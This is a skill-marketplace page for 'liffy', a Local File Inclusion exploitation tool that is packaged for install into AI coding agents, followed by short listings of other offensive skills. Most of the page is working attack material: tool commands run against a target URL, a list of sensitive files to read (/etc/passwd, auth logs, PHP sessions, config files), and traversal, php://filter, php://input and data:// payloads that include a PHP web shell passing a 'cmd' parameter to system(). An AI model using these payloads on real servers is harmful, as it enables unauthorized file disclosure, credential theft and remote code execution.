offensive-tools/web/liffy/SKILL.md
liffy: modern Python 3 Local File Inclusion exploitation tool with wrapper payloads, WAF bypasses, log poisoning, /proc tricks, and automated file read workflows. Use when exploiting confirmed LFI or path traversal issues, especially on PHP targets where wrappers and poisoning can turn file read into RCE.
npx skillsauth add aeondave/malskill liffyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Modern LFI exploitation tool — file read, wrappers, log poisoning, /proc tricks, WAF bypass.
git clone https://github.com/mzfr/liffy
cd liffy
python3 liffy.py -u "http://target.com/index.php?page=" -x /etc/passwd
# Interactive exploitation flow
python3 liffy.py -u "http://target.com/index.php?page="
| Goal | Technique |
|------|-----------|
| Read local files | Traversal + direct file inclusion |
| Read PHP source | php://filter/convert.base64-encode/resource= |
| Log poisoning → RCE | Apache/Nginx/SSH auth logs |
| Process env RCE | /proc/self/environ |
| Session poisoning | PHP session file inclusion |
| Wrapper abuse | php://input, data://, expect:// |
/etc/passwd
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
/var/lib/php/sessions/sess_<id>
/var/www/html/config.php
# Basic traversal
?file=../../../../etc/passwd
?file=..%2f..%2f..%2fetc%2fpasswd
?file=....//....//etc/passwd
# Source disclosure
?file=php://filter/convert.base64-encode/resource=index.php
# PHP input execution (if include() on request body)
POST /vuln.php?page=php://input
<?php system($_GET['cmd']); ?>
# Data wrapper
?file=data://text/plain,<?php system($_GET['cmd']); ?>
php://filter early; source disclosure is quieter than poisoning.references/lfi-techniques.mddata-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.